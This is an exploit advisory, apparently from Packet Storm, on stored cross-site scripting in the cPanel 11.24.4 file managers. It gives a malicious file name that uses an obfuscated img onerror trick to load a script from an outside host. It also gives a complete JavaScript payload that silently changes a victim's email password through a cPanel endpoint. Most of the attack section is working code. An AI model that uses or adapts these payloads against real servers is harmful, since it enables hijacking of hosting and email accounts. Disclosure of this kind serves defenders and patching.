exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Cpanel File Manager Cross Site Scripting

Cpanel File Manager Cross Site Scripting
Posted Mar 18, 2009
Authored by Rizki Wicaksono | Site ilmuhacking.com

The Cpanel file manager in version 11.24.4-CURRENT suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 3cb9b9e490ecf0caa4e07b03f6a0c8a3b9f005a459d46096dd04acb34cadc31d

Cpanel File Manager Cross Site Scripting

Change Mirror Download
Cpanel File Manager XSS Vulnerability

Synopsis
-------------
Cpanel (www.cpanel.net) has two file manager application, standard and legacy one to manage files. Both of them are vulnerable to XSS attack. File name is presented unescaped so that an attacker can craft malicious file name to execute script on behalf of victims.

Version
-----------
this vulnerability was found on cpanel version 11.24.4-CURRENT
exploit here is already tested on: Firefox 3.0.7 and IE 8.0

Details
----------
legacy file manager (lfm) is more vulnerable than the standard one. In legacy file manager, only by viewing list of files, attacker code can be executed. In standard file manager, list of file is well escaped, but attacker still can inject script when victims click on any of these task: delete, copy, move, rename, edit, change permissions, extract, compress on file with malicious name.

to make browser load and execute external script, attacker can't directly use <script> tag because slash character is forbidden in file name. To overcome that restriction, attacker can inject script via <img> tag onError attribute and set src attribute with empty string to force error event always triggered. the script injected via <img> tag generate <script> tag to execute external script by using document.write() function.

PoC exploit
-----------------
malicious file name:

<img src='' onerror='document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,108,109,117,104,97,99,107,105,110,103,46,99,111,109,47,120,46,106,115,62,60,47,115,99,114,105,112,116,62))'>

that <img> generate this html tag to make browser load and execute external script:

<script src=http://ilmuhacking.com/x.js></script>

that poc exploit works for both file manager application (standard and legacy).

PoC payload: change victim email password
----------------------------------------------------------------
by making POST request using ajax functions to /frontend/x3/mail/dopasswdpop.html attacker can change one of victim email password. the script below is an example payload that executed from external url.

----------------
var http_request = false;
function makePOSTRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
http_request.overrideMimeType('text/html');
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
if (!http_request) {
alert('Cannot create XMLHTTP instance');
return false;
}
http_request.onreadystatechange = alertContents;
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
http_request.send(parameters);
}
function alertContents() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
result = http_request.responseText;
alert(result);
} else {
alert('There was a problem with the request.');
}
}
}
var poststr = "quota=" + encodeURI("250") + "&password2=" + encodeURI("newpassword") +
"&password=" + encodeURI("newpassword") + "&email=" + encodeURI("testemail") +
"&domain=" + encodeURI("ilmuhacking.com");
makePOSTRequest('/frontend/x3/mail/dopasswdpop.html', poststr);

CREDITS
------------------
This vulnerability has been discovered by Rizki Wicaksono ( http://www.ilmuhacking.com )
The Indonesian article at http://www.ilmuhacking.com/web-security/cpanel-file-manager-xss-attack/ gives more detail about this vulnerability.
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close